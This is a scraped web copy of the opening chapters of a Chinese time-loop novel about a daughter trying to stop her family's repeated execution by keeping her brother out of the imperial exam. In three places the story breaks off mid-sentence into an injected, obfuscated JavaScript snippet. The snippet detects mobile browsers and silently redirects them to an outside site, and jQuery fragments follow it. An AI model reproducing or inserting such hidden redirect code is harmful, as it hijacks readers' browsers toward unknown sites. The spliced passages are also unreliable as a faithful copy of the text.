《满门抄斩二十一次》 1. 循环 第1章 “快,再快一些!” 马车哒哒,车内的女子探出头,满脸急色,车夫抖动缰绳,不断催促马儿加快速度,暗夜长街之中,快马疾驰而过。 三月春寒,她额头却冒出密密麻麻的汗珠,心脏“咚咚”剧烈跳动,就像是无数记重锤砸得人快要窒息。 快点! 再快点! 眼下已是寅时,等到卯时贡院开门,从各地汇聚而来的举子们就要入场,三年一次的春闱正式开始,而那时一切就都晚了,必会走入相同的噩梦当中。 不,不是噩梦。 冰冷腥臭的鬼头刀,刽子手喷出的烈酒,母亲的哭喊,还有叶家满门滚落的头颅,他们睁着一双双眼睛盯着她,在满地鲜红当中,死不瞑目…… 那是地狱啊! 叶惜人死死攥着拳,指甲嵌入肉里的剧痛才能让人相信此刻一切还未发生,深吸一口气逼迫自己维持冷静,不再回想,继续反复推演计划。 好在…… 她出门之时,瞧见叶长明正同父亲叶沛说话,还未前往贡院,此时自己赶在了叶长明前面,只要再快一些,就能留出准备的时间。 来得及。 一定来得及。 马车沿着永安路穿过新都大街,来到靠近城门的文林坊,叶惜人忽地伸出手,死死抓住车夫肩膀—— “停下!” 车夫吃痛勒绳,白马前腿高扬,发出一道尖锐的嘶鸣,车身晃动,他疑惑回头:“二姑娘?” 不是去贡院吗? 时间紧迫,叶惜人来不及多说,匆匆提起裙摆跳下马车,紧了紧兜帽遮住脸,提着灯笼、屏住呼吸转入漆黑的巷道中。 “哎——”车夫急了,下意识阻拦,“二姑娘,近日城中极乱……” 叶惜人回头瞪了眼。 车夫立即收声,一股莫名的寒意窜上心尖,让他再不敢阻拦。 不知道为什么,一贯柔弱安静的二姑娘今日很不一样,那眼神……就仿佛刚从地狱里头出来,烧着一把火,撑着她的身躯。 他赶忙摇摇头,将奇怪的念头扔出去,握紧身边放着的刀,忐忑地盯紧晃动的灯笼,不敢错眼。 叶惜人加快脚步。 乱? 要是不乱,她还不往这里来! 死亡面前,流民也没什么好怕的。 巷道之中漆黑一片,灯笼晃动,若隐若现的光芒笼罩里面横七竖八躺着的人,他们衣衫褴褛,倚着砖墙,不知死活。 听到动静,一些人睁开了眼睛,看清楚烛光映照下的锦服时,双眼骤如暗夜的狼,警惕又不怀好意。 车夫会武,就在身后盯着,随时能冲上来救人,叶惜人紧了紧手上的灯笼杆,克制着恐惧,在一双双眼睛注视中开口—— “来个人……帮我办件事,二十两银子!” 话音落地,巷道霎时一片死寂,风声变得清晰,烛火跳动。 黑暗中缓缓坐起来更多的影子,被烛光拉长,一双双眼睛死死盯着她,一道道粗重的呼吸声满是贪婪。 经久战事,不仅流民不断,就连南都当地不少农人也因为高昂的粮价吃不起饭,别说二十两银子,就是一碗米,也能买一条命。 而恰恰这些睡在巷道当中的人,都已至绝路。 到绝路,没什么不敢做。 无数人蠢蠢欲动,但没人吱声,好似忌惮着谁一般。 叶惜人心头一跳。 这时,巷道黑暗最深处,一个人影缓缓站了起来,其他人纷纷挪开身体,为他让出一条路。 “我叫马山,这钱我要了。”那人一点点走到叶惜人面前,嘶哑声音逐渐清晰,“说吧,做什么?” 叶惜人微不可见松口气。 两人避到一旁。 叶惜人打量面前之人,虽神态有些憔悴疲惫,但身材魁梧,腰间挂着一把镰刀,沾着血,显然是个狠角色,就如同那握着鬼头刀的刽子手,让人胆寒。 头回与这样的人打交道,她下意识后退一步,咽了咽口水,声音轻颤—— “两刻钟后,会有一个穿着襕衫,头戴紫纱罗长顶巾,身后跟着一胖一瘦两仆从的举子前往贡院,你带人在路上劫住他……” 马山截断:“杀了他?” 叶惜人呼吸一滞。 杀什么杀,那是亲哥啊! 她赶忙摇头,顾不得害怕往前,“打他一顿,让他没法子参加春闱就行,记住,千万别伤他性命,也别留下治不好的伤,可要小心些。” 马山眉梢一挑。 就这? 他上下打量面前站着的柔弱女子,兜帽严实看不清模样,但露出的手白皙纤细,分明是养尊处优,一双乌黑的眼睛清澈,倒影着灯笼,如两团火焰在眼中跳动,燃烧着愤怒。 晨起露重,马山衣衫单薄,脚下草鞋尴尬地露出脚趾,他活动手脚带来暖意,提醒—— “若只是小仇小怨,小娘子还是别在今日收拾他,碍人前程,比伤他更让人记恨。” 大梁从前是二月春闱,但连绵战事,去年行台从北都迁到南都、新皇登基,好不容易趁着北燕使团进京的和平开启春闱,乱世当中,那些读书人们个个都盼着考取功名,披上一层官衣,哪舍得错过这好不容易等来的机会? 打人都要叮嘱小心些,别是这二人根本没仇,只是相好之间闹点小脾气,回头又后悔了,再同那举子一起来找他马山的麻烦…… 他的打量很是不善。 叶惜人闻言,眼中燃气火,胆怯一瞬全部消失,一字一句:“你放心,我与他可不是什么小仇小怨,乃是灭、门、之、仇。” 马山:“??” ——灭门之仇却叮嘱下手轻些,他不理解! 叶惜人不解释,也解释不清楚。 她哥叶长明今日踏入春闱考场,傍晚时分,皇城司的人就得闯入叶家,将全家拖去满门抄斩,一个不留! 可不是灭门之仇吗? 至于叶惜人为什么知道这些? 哦。 她被砍两次了。 天隐隐有了点光亮,叶惜人下意识摸摸脖子,虽然听起来有些玄乎,但她确实已经过了两个“今日”。 第一个“今日”她一无所知。 早上和爹娘一起送兄长春闱,回来后与母亲在家盘账,等待着春闱结束,却没想到傍晚时分,皇城司指挥使陆仟带人闯入叶家,宣旨因叶长明考场舞弊,行迹恶劣,判了叶家满门抄斩,以正法规。 再次睁开眼睛,叶惜人捂着脖子,晕晕乎乎。 原以为只是做梦,却没想到接下来丫鬟婆子们说的话,与梦中一模一样! 叶惜人大骇,于是,第二个“今日”她亲自送叶长明去考场,因着不放心,不断叮嘱他不要作弊,险些气死叶长明。 叶惜人同样觉得奇怪。 大梁重文,一贯对舞弊判得极重,鲜少有人顶风作案,而一旦案发必是满门抄斩,因此,多年未有舞弊重案。 更何况叶长明自小读书,文采卓绝,怎么就牵扯上考场舞弊? 叶惜人那会儿还没弄明白自己撞了什么鬼,到底是不是还在梦魇当中,晕乎乎回了家……哪知道傍晚时分,再次被满门抄斩。 两次撞鬼,两次被斩,哪里还是做梦! ——绝不能让叶长明进考场。 她不知道为什么“死而复生”,更不清楚考场里面到底发生了什么,但她知道,叶长明进了考场就一定会出事。 前程能有全家的命重要? 再次睁开眼睛,便是今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276447|182440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 叶惜人试图阻拦,然而叶长明等着这次春闱入朝一展抱负,压根儿不听,她又总不能说你入了考场,全家都得死吧? 谁信?! 叶惜人如果不是已经过了这一日两次,也根本不会相信! ——如此,那就只能对不起哥了。 叶惜人仰头看向马山,斗篷微动,不安的眼神变得坚定,叮嘱:“记着别认错人,他叫叶长明,今日还戴着……” 马山不理解。 但出钱的人就是道理,他掂了掂银子,照做。 - 天光渐亮,隐藏在黑暗中的南都逐渐变得清晰,街道上车马声响起,南都门口百姓排起了长队,等待进城。 永安街一道上住着不少官宦,仆从正在整理马匹,等待老爷们上值,南都在晨光中,一点点热闹起来。 叶惜人自小门回叶府,心神不宁。 她自小闺阁教养,爹娘宠爱、兄长爱护,是个极循规蹈矩之人,还是第一次干这样的事,一时担心马山能不能办好事,一时又担心叶长明会不会被伤得太重。 “惜惜,你怎么在这儿?”廖长缨送叶沛上朝后,沿着回廊走过来。 叶惜人心头一跳。 随即,她压下心虚,露出与往常没什么不同的笑容上前,“娘,我原想着去送送兄长,可又担心他见到我会紧张,影响春闱,半道回来了。” 廖氏闻言,也有些发愁,“眼下不是入朝的好时候,你哥哥非要春闱,拦都拦不住。” 说到这里她叹口气,握住女儿的手: “算了,你别理会他,横竖也睡不着,我带你盘一盘府上的账,你若能掌好中馈,以后出嫁……” 想到女儿被战事耽误的年岁,就更发愁了。 叶惜人还在慌神,也没仔细听,被廖氏拉着离开,仆从抱着一摞摞账本往前院去,叶府霎时热闹起来。 卯时已至。 叶惜人越发不安,手上漫不经心翻着账本,里面的一个又一个字根本没有入眼,心乱如麻,眼神呆滞。 马山能认出来吗? 叶长明会不会伤得太严重? 看那马山凶神恶煞,万一打得重了,岂不是真害了她兄长? 廖氏拨动算盘,头也不抬:“你跟着算算,上月采买一共花了多少钱,若是算不明白,以后也会被下人……” “二十六两三钱。”叶惜人正出神,随口回答。 怎么还没回来? 按理来说科考不了,眼下也该被抬回来啊? 廖氏一怔,惊讶地抬起头:“你什么时候算过了?” 叶惜人一顿:“……” ——哦,差点忘了,是前两个“今日”算过。 她拍了下脑袋正想怎么解释,外面响起嘈杂的声音,一小厮慌慌张张跑进来,身上还沾着泥,见到夫人与小姐,哭丧着一张脸: “不好了,大公子在去春闱的路上,被几个蒙脸的流民打断了腿!” “什么?!”廖氏与叶惜人同时站起来,一个惊,一个喜。 廖氏大惊失色,“怎么回事?怎么会发生这样的事情?!” “天啦,我那可怜的兄长~” 叶惜人揪着手绢、擦着眼睛,挡住扬起来的嘴角,另一手掐住大腿,狠狠用力,以免笑出声,“这可真是……太不幸了!” 哈哈哈哈! 总算解决了满门抄斩的麻烦,叶长明若是考不了,还怎么“舞弊”? 不过,打断腿会不会伤得太重了? 叶惜人眉头微蹙,刚升起对兄长的担忧之心,就听那小厮又道—— “二姑娘莫伤心,大公子身残志坚,找大夫上完药后,让人抬着进了考场,没影响春闱呢!” 叶惜人:“???” 2. 下手 第2章 不是,腿都断了,还非要上考场,叶长明你和叶家是有仇吗?! 叶惜人眼前一黑,险些站不稳。 丫鬟雪婵赶忙伸手接住她,婆子着急忙慌让人取热水、搬来椅子,众人慌慌张张,前院一阵兵荒马乱。 廖氏一下下抚摸女儿的后背,牵着她坐下,轻声安抚:“别担心,你哥哥皮糙肉厚,一定会没事的,娘派人去贡院外面守着,你莫担心……” 叶惜人:…… ——我不担心他,我就是想再打一顿! 廖氏:“大郎也真是的,受了伤就不能先回来吗?” 叶惜人:…… ——他一定和我叶家有仇! 廖氏:“也不知道谁干的,伤得重不重?” 叶惜人:…… ——真是打轻了!! 叶长明确实皮糙肉厚,都这样了还能去贡院送死。 叶惜人咬牙切齿,张了张嘴发不出声音,脑袋里面嗡嗡响,已经看到全家踉踉跄跄被压到了菜市口,举起的砍刀闪着寒光,脖子一痛,满地鲜红…… 她打了个哆嗦,下意识捏紧廖氏的手腕,终于出声:“没救了,彻底没救了!” “什么?”廖氏一怔。 气血上涌,叶惜人猛地站起来:“反正都要死,这回可不能再做个饿死鬼,来人啊,把我爱吃的都送上来,没有就出去买。 “雪婵,快给我准备纸笔,早看永宁那丫头不顺眼,我要好好写信骂她一顿,之前看上那副死贵的头面,快去给我买回来。 “还有我的嫁妆呢?赶紧整理银钱买成粮食送出去给流民们,我要积攒功德,保佑下一轮能够顺利度过灾祸,阻止悲剧……” 她在认真交代“后事”。 嘴角挂着没有温度的笑,满脸淡淡的死感。 “啊——” 廖氏听到这些,尖叫一声,惊呼:“我的儿啊!” - 叶家这一天兵荒马乱。 大公子“带病”进了贡院,平日里斯斯文文的二姑娘着急“疯了”,做出一些极为出格的事。 廖氏发愁地看着正大口大口吃着的女儿。 叶惜人有种死一般的疯感,桌上是满满一大桌子各色美味佳肴,她甚至还饮了两杯酒,吃饱喝足,脸颊微红放下筷子,平静开口: “娘,你吃太少了,快再多吃一些。” 廖氏哪里吃得下去,一直担忧地盯着叶惜人,闻言愁道:“娘的惜惜呀,你到底怎么了?要不还是找郎中来看看吧?” “昨天”找过了。 没病,就是真遇到鬼打墙,在这一天死了又活、活了又死。 叶惜人看了看天色,用手帕擦擦嘴角,转动手腕上套着的几个镯子,还嫌不够,顶着满头珠翠走到廖氏面前,把一旁放着的金钗全都给她簪上,叮嘱: “带上这些,娘记住待会儿只要给那些人分点好处,总不至于太吃苦。” 廖氏:“?” 疯了,她女儿真是疯了。 还没等开口,叶惜人看向门口方向:“来了。” “嘭——” 大门被人一脚踹开,一群逻卒冲入叶家,长刀寒光森森,叶府众人大惊失色。 领头之人乃是皇城司指挥使陆仟,头戴黑色乌沙,红衣似血,眼神如刀,冰冷地扫过廖氏与叶惜人,手臂一震,抖开一卷黄麻纸敕令,在极致的恐惧与安静当中,阴冷开口—— “叶氏门中,上下听判!” “查户部尚书叶沛之子叶长明,妄读圣贤,考场舞弊,欺君罔上,证据确凿,依《大梁律》,叶氏上下坐受荫蔽,满门抄斩!” 叶府上下,霎时安静。 “不可能!”廖氏惊骇。 她猛地站起来,下意识将女儿护在身后,然而叶惜人裙摆微动,先她一步上前。 前两次她和其他人一样被吓得六神无主,几乎没做任何抵抗,被皇城司的人拷起来带走,在绝望中砍了头。 但这回与之前不同,叶长明进入考场那一刻她就做好死亡的准备,此刻虽有些恐惧,却还能让自己勉强保持着清醒理智。 到“第三次”听旨,她终于对着陆仟开了口: “陆大人,我父乃从二品户部尚书,即便我兄长犯事,也当是大理寺收押审判,移交刑部,怎就直接判我叶府满门抄斩?” 她颤抖着唇开口,声音越来越抖,却也越来越响亮,前院寂静无声。 陆仟缓缓将视线移到她身上,上下打量。 叶惜人被廖氏护着后退,衣袖下的手指轻颤,但咬着唇梗着脖子,回视这位皇城使,不肯低头。 “叶沛倒是有本事,不仅把儿子教出个考场舞弊,还把女儿也教的这么胆大。”陆仟倏地冷笑,满脸讥讽,“考场舞弊本就是满门抄斩的重罪,证据确凿,陛下震怒,哪里还需要大理寺插手?” 他一步步走向叶惜人,手上的刀带着寒光,绯色公服带来极致的压迫,一双眼眸盯着人时,就像是被毒蛇盯上。 两人步步后退,直到抵着桌子,退无可退。 “如今北燕使节刚刚入京,你们叶家就闹出这样的丑闻,叶沛又如何?早已被我拿下,此刻还不是在诏狱等死。”他的声音越来越近。 户部尚书看似从二品,实则上有平章事兼枢密使蒋游统管六部,下有户部右槽于之择侍郎手握实权,叶沛又算得上什么。 而陆仟执掌皇城司,拱卫京都,乱世当中,哪里会怕一个没有实权的户部尚书? 叶惜人心一沉。 前两次被砍头时,虽知道旨意是“满门抄斩”,但毕竟在菜市口没见到叶沛与叶长明,还能抱有一线希望,如今看来…… 他们二人也没活下去。 廖氏勉强找回一丝理智,急切解释:“大人,长明我了解,他的文采出众,在北都时就小有名气,怎么可能考场舞弊?会不会是误会,求大人——” 陆仟握着刀,将叶惜人与廖氏往后一推,冷笑:“证据确凿,有什么冤情去和阎王说吧!” 说完,陆仟抬脚便走。 两人被推倒在地,叶惜人忙站起来,又去搀扶廖氏。 “大人——”廖氏还在喊。 然而陆仟已经招招手,让人将她们捆了带走,甚至连后面长寿堂的祖母也没放过,让人去拿。 几个人高马大的逻卒上前,手上拿着粗糙的麻绳以及一团用来堵嘴的布,廖氏护着女儿,被人粗鲁地拉开。 叶惜人咬咬牙拔下金钗,往拿着麻绳的逻卒手上塞去,扯出一个笑:“大人们拿去买酒喝,千万手下留情,我祖母年事已高,又是三朝诰命夫人,求大人照顾些。” 逻卒看了她一眼,又看看那份量不轻的金钗。 几人对视,绑着叶惜人与廖氏的绳子就变得松松垮垮,那团用来堵住嘴巴的麻布消失不见,去拿叶家老夫人的逻卒也没带麻绳。 “大人,怎么会这么突然?”叶惜人低声问押着自己的人。 那逻卒眉头一皱。 叶惜人褪下一个金镯子,悄悄塞给他。 “谁知道啊?今儿上午就说有人科举舞弊,从贡院里面拖了一个举子出来,宫里面动静不小,陆大人让盯住你们家,拿了圣旨就带我们来抓人,折腾一天。”逻卒衣袖一震,迅速收走金镯子。 “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276448|182440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——” “干什么?!”前面,一个小头目转身呵斥,满脸凶相,手上的鞭子朝着他们狠狠抽过来,毫不留情。 这些要死的官宦家眷在他们眼里,没有任何份量。 叶惜人身体一颤,忙又褪下暖玉镯子,绑着的手艰难捧起来,很是识趣,“大人,我就问问,想做个明白鬼。” 小头目微顿,就很难不心动。 于是,鞭子顿在半空,慢慢收回去,小头目悄无声息拿走镯子,压低声音: “你们活不了,别挣扎了,北燕使团入京,朝中上下忙着应对他们,你兄长却闹出考场舞弊的丑闻,证据确凿,正好被那北燕使团听到,好一阵嘲讽大梁,陛下和相公们震怒,当即就拟了满门抄斩的旨……” 叶惜人心中一沉。 真没救了。 她把金钗与镯子一样样取下来,既然如此……那就少遭点罪吧。 ——也是被砍得熟门熟路了。 - 大理寺,诏狱。 一个人影坐在满地茅草之上,身上铁链绑住手脚,浑身是伤,血迹沾湿了布衣,凌乱的头发遮住大半张脸,这里面连个窗户都没有,一片死寂。 但黑影仍然端坐其中,脊背挺直,身姿一动不动,只眼睛微微转动,视线看向地牢入口方向。 阴影出现,牢卒走进来将饭盒放在黑影面前,饭菜一份份取出来,又倒上一碗水。 黑影缓缓闭上眼睛。 - 菜市口刽子手高举双手,喷出一口烈酒,鬼头刀寒光一闪,重重落下,剧痛袭来,鲜血喷溅…… 叶惜人捂着脖子猛地坐起来,呼吸急促,满眼惊恐。 “姑娘?”丫鬟们鱼贯而入,领头的大丫头一脸焦急,一边给叶惜人擦着额头冷汗,一边吩咐,“快送些水来!” 熟悉的场景,熟悉的声音。 叶惜人咽下口水,问:“雪婵今日是几月几?” “三月初一啊,今儿正是春闱……” 果然又是这一天! 叶惜人猛地跳下床,咬牙切齿:“快,给我穿衣服,让人备好马车,我要去‘送送’我哥……” 只要叶长明进了考场,就有舞弊丑闻,而朝廷根本不听任何解释,直接下旨满门抄斩,三次过程有所不同,但结果一模一样。 想要改变结局,必须解决源头! 黑暗中。 黑漆马车哒哒一路疾驰,惊起烟尘,停在了文林坊小巷外面。 叶惜人提着灯笼匆匆踏入黑暗巷道当中,一回生二回熟,无视一双双如狼一般的眼睛,深吸一口气,喊道: “马山,给我出来!” 马山:“??” 他茫然地坐起来,揉了揉晕乎乎的脑袋,从黑暗当中走过来,人高马大的魁梧身形极具压迫,满脸不善:“你谁?” 奇怪。他打量着叶惜人,对方虽然带着兜帽看不见脸,但这样的大家闺秀,他是绝对不可能认识才对。 “这不重要。”叶惜人提着灯,微微笑,“重要的是帮我办件事,我给你二十两银子。” “什么事?”马山脸上的不善一收,立即答应。 “两刻钟后,会有一个穿着襕衫,头戴紫纱罗长顶巾,身后带着一胖一瘦两个仆从的举子前往贡院,你带人在路上劫住他——” 叶惜人深吸一口气,咬牙切齿: “给我打断他的右手,如果他还要去考场,就把脚一起打断,只要能治,下手重些也无妨!” 上回就是她吃了心软的亏,人果然不能太“善良”。 马山:“……” ——这得多大的仇啊? 3. 撞车 第3章 叶惜人这回学乖了。 她不仅让马山下手狠些,还亲自盯着对方动手。 看着叶长明悠闲提着考篮、哼着曲儿,带着一胖一瘦两个小厮走近,她吹灭灯笼,站在巷道的黑暗当中。 ——今日再让叶长明进考场,她就不是被砍了三次头后的叶惜人! “大公子,你怎么一点也不紧张啊?”小厮胖金声音远远传来。 叶长明眉梢一挑:“紧张什么?我还能考不上不成?” “倒也是。”瘦银露出憨憨的笑容,满脸崇拜,“大公子才学出众,必然能高中榜首,名耀南都。” 三人说着,越来越近。 马山几人对视一眼,蒙住脸一拥而上,这人是有些本事,带的人同样下手又快又狠,一脸嘚瑟的叶长明只觉得眼前一花,便被人重重摁倒在地。 “嘭!” 密密麻麻的拳头招呼过来。 “大公子!”胖金与瘦银瞪大眼睛,立刻便要扑出去救人,然而另外几人死死拖住他们,不让靠近。 “干什么?”叶长明拼命挣扎,他从来只爱读书不爱习武,几乎毫无招架之力,“你们是什么人?!天子脚下,怎么敢如此放肆!” 来人不管不顾,几拳打得他头晕眼花后,从身后摸出一根棍子,在手上掂了掂,眼神骤然一厉,朝着他的右手狠狠砸过去。 “嗷——” 叶长明嘶吼出声。 胖金、瘦银都会功夫,很快挣脱纠缠他们的几人,将人狠狠踹开。 胖金扑向大公子,瘦银攻向马山,破口大骂:“混蛋玩意儿,快放开我家大公子!来人啊,流民作乱!” 喊声在黑暗当中传开。 马山不做纠缠,借着瘦银一脚退后,抄起棍子一招手,带人钻入黑暗的巷子当中,消失不见。 叶惜人看向他离开的背影。 这马山是个能人,胆子大下手又果决,武功不差,能管得住其他人,让人都听他的命令行事,最难得是不恋战,走得及时。 胖金、瘦银武功可不差,要不是没时间、也没办法制住这两人,她还是不想对亲哥下手。 念头一闪而过,叶惜人深吸一口气。 她朝着自己的大腿掐过去,瞬间眼眶通红,泛起湿意,尖叫一声冲出去,“啊,哥、哥……你这是怎么了?” 她蹲在旁边,上下检查。 ——可千万别下手太轻了,让他能“身残志坚”。 胖金与瘦银急得团团转,虽惊讶叶惜人突然出现,但想到兄妹俩的感情,立刻就像是找到主心骨,一脸急切:“二姑娘,这可怎么办,大公子……” 叶惜人指挥:“快,送我哥回去!” 叶长明痛得满脸狰狞,抱着手臂,闻言却重重摇头,艰难开口:“不、我要科举,让我去春闱……” 他不想放弃。 “大公子!”胖金瘦银六神无主。 叶惜人扶着他的手,满脸担忧,语气无比坚定:“不行,哥你伤势这么严重,必须尽快回家治伤。” ——都这样了,还想带着全家去死! 叶长明还想说什么。 叶惜人面色不变,扶着他受伤手臂的手一个激动,“不小心”微微用力,叶长明瞬间变脸,痛到失声。 闹着要去春闱的声音瞬间消失。 叶惜人站起来:“带回去。” 胖金与瘦银立刻有了决断,背起人,着急忙慌折返叶府。 叶惜人站在原地看着他们背影,长长地吐出一口气,只要回去了,娘就不会再让他出来参加春闱。 总算,改变了结局。 马车从远处过来,停在叶惜人旁边,车夫拿着油纸包跳下来,“二姑娘,这是潘家铺子的早点。” 叶惜人接过油纸包上了马车,也没吃,随手放在一旁。 车夫奇怪,刚刚姑娘要吃潘家铺子的早点,让他赶紧去买,怎么这会儿又不动? “我哥刚被人伤了手,已经送回叶家,今日恐怕不能参加春闱。”叶惜人说。 “啊?”车夫急了,“那我们现在回去吗?” “不。”叶惜人摇摇头,看向另一个方向,“我们去贡院。” 她想去看看……这次春闱到底有什么玄机,为什么会发生叶长明舞弊事件? 车夫不解。 但他是叶惜人未来的陪嫁车夫,卖身契在叶惜人手上,自然只忠于她,没有迟疑,架着马车朝贡院去。 贡院 去岁北都失守,行台匆忙南迁,年幼的先帝在路上驾崩,大梁国都从北都搬到如今的南都,新皇匆匆登基,开恩科。 战乱不断,已经有四年没有春闱,贡院来的人却并不多。 一则战事不仅影响春闱,各地乡试同样未能如期举行,二则淮安渠以北大多在北燕人手上,举子们来春闱的路千里迢迢,难以穿越战乱之地。 叶惜人看着井然有序的贡院,听着耳旁书童们议论之声—— “总算可以春闱了,咱们公子一定能金榜题名。” “可不是,朝廷正是用人之际,蒋相早说此次春闱取中直接授官。” “阿弥陀佛,总算是停了战事,天下太平什么都好。” “那也难说,毕竟北燕使团才进京,要是和谈不成怎么办?” “别说这种话,北燕既然愿意和谈,怎么可能谈不成?这才太平几天啊!” …… 叶惜人始终想不明白,为什么会有科举舞弊的发生? 几次重来,叶长明都不像是要考场舞弊。 被人陷害? 他哥哥才学出众,虽在南都名声尚不显露,但在行台南迁之前,也算是扬名北都。 招人记恨正常,可想下手成功却并不容易,再说,江南文风昌盛,南都这边名声大的才子更多,怎么就只盯上叶长明? 三次同一个结果,叶惜人不相信巧合。 他哥平日得罪的都是些纨绔子弟,哪有本事在考场上做局,况且,上一个今日她在贡院门口提醒过,他哥就算生气也会注意,不至于轻易被人陷害。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276449|182440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那些有本事左右科举的人,都忙着接待北燕使团呢,害她哥一个小举子做什么? 大梁春闱舞弊只是丢人,与朝中大事、北燕和谈可没什么关系。 叶惜人想不通考场里面发生了什么,但今日她从根上“解决”了舞弊问题,就看没有叶长明的春闱…… 还会不会闹出考场舞弊。 比起让他哥参加这一次春闱,她更想保住全家的命,春闱还有许多次,但命只有一条,她在这一天醒来三次,谁知道还有没有下一次机会? 叶惜人深吸一口气,放下帘子,“回去吧。” 车夫点头,马车摇摇晃晃离开,朝着西边叶府去。 - “吁——” 车夫猛地勒住马,动作太急,马车往前一晃,正出神的叶惜人身体一歪,撞到旁边马车璧上,闷哼出声。 还未坐直身体,就听对面有人用别扭的大梁话呵斥:“放肆!你怎么驾车的?!” 车夫不干了,反驳:“我还想问你怎么回事,我好好驾着车,你突然冲——” “啪!” 一鞭子抽到马车上,重重一声响,叶惜人一惊。 车夫正要摸出刀反抗,就听对面车夫扬声:“还敢狡辩?要是惊扰了殿下,你和你主子几个脑袋都不够掉。” 听到这话叶惜人下意识脖子疼,有些窝火。 但前面“殿下”二字,却更让人心惊,叶惜人推开马车门,声音柔和,客客气气:“是小女未能管束好下人,还请赎罪。” 与此同时,对面马车里面,两名侍女小心翼翼掀开帘子,一清朗男声不急不缓:“莫勒。” 对面刚还猖狂不已的车夫莫勒收声,恭敬低头,“殿下。” 叶惜人视线看过去。 果然,对面不是大梁人,车夫一身北燕戎装,头发编着辫子,凌乱垂下,马车旁跟着一行北燕人,骑着高头大马,腰间挂着寒光森森的刀,拱卫着中间的华贵马车。 叶惜人没往马车里面看,只是下了马车垂着头,示意车夫避到一边,让出路来。 车夫挪开马车。 与此同时,身后响起马蹄声,几道带着谄媚笑意的声音远远传来,“哎哟,赤盏殿下,这是怎么了?” “无事。”马车里面的人声音淡漠,听不出情绪,“刘相公,李大人,你们怎么来了?” 刘多喜笑道:“圣上和蒋相可是吩咐了,要陪好殿下,我等自然要随时待命。” 他转过头,眉头一皱,“这是怎么回事?有人对殿下无礼?”声音严肃下来,看向叶惜人二人眼神不善。 叶惜人依旧低着头,也不辩解,只行礼道歉:“是小女着急回家,马车急了些,冲撞大人,还请大人赎罪。” 两辆马车都在旁边,分明是对面北燕的马车突然从巷子里拐出来,惊了叶家的马车才对,那北燕车夫害怕主子怪罪,故意指责叶惜人他们。 刘多喜视线扫过两辆马车,突然对着叶惜人怒目而视—— “你是哪家的?你可知你冲撞的人是谁?!” 4. 救下 第4章 叶惜人垂首不答。 对面马车里的人看了刘多喜一眼,又看向低头避到一旁的叶惜人,缓缓开口:“是本王的下属不懂事,冲撞了姑娘才对。” 他看向车夫,声音平静:“走吧,莫勒,回去自己领罚。” 叶惜人听到这话,抬头看去。 马车里面是一个年轻男子,面白如玉,剑眉星目,同其他皮肤粗糙的北燕人很是不同,身姿慵懒地倚在马车里,炭炉钉在车上,燃着火光。 他说着道歉的话,却没几分歉意,漫不经心,身上穿着锦缎华服,狐裘坎肩毛茸茸拖着脸,衬得唇红齿白,视线随意地扫向叶惜人,两人目光轻触。 叶惜人眼睑一颤,收回视线,安静垂首立在一旁。 “是。”北燕车夫狠狠瞪了叶惜人的车夫一眼,到底不敢再说什么,小心翼翼架着马车离开,刘多喜几人跟上,寒暄的声音渐渐远去。 一场风波,消弭于无形。 车夫有些委屈,嘀咕:“二姑娘,不是我的错,是北燕那车夫蛮横不讲规矩,突然就冲出来,若不是我及时勒马,恐怕……” 叶惜人提着的气缓缓吐出,紧绷的肩膀落下,看向他,语气平静:“那又怎么了?你想和北燕太子讲道理?” 以为其他人都是瞎子,看不出来谁错吗? 车夫顾不得生气,大惊:“北燕太子?那位号称北燕军师的大王子?!” 先帝年幼没有兄弟,当今年轻尚未大婚,叶惜人听到“殿下”二字,就猜到除了北燕的王子没有其他人,而且…… 这次北燕使团首领之人正是北燕大王子,下一个北燕王,赤盏兰策。 要是当朝的“殿下”还能讲讲道理,要是十几日前,还敢与北燕人据理力争,如今两国和谈这个节点上,谁敢去碰北燕人? 之后赶来的官员中,领头之人是参知政事刘多喜、礼部尚书李仁意,朝廷都要捧着的北燕使团,他们哪里得罪得起,叶惜人死怕了,胆小。 没惹上麻烦,今日算他们好运。 车夫也是心惊,不断拍着胸口:“还好那位讲礼,没为难咱们。” 他想到刚刚看到的人,又忍不住感叹:“没想到北燕大王子竟然是个谪仙一般的人物,脾气挺好……” “走吧,我们回去。”叶惜人不置可否,重新上了马车。 她对北燕人可没好印象。 且不说肆意侵占大梁,种种劣迹。 就说最近,叶惜人没忘记昨儿皇城司说过的话,“科举舞弊”消息传进宫时,如果不是北燕人幸灾乐祸,他们家未必立刻满门抄斩……国仇与家恨,能有什么好印象? 车夫驾车离开,这回可以放慢速度,怕又撞上这样的大人物。 另一边。 赤盏兰策突然问:“那是哪家的人?” 李仁意一愣。 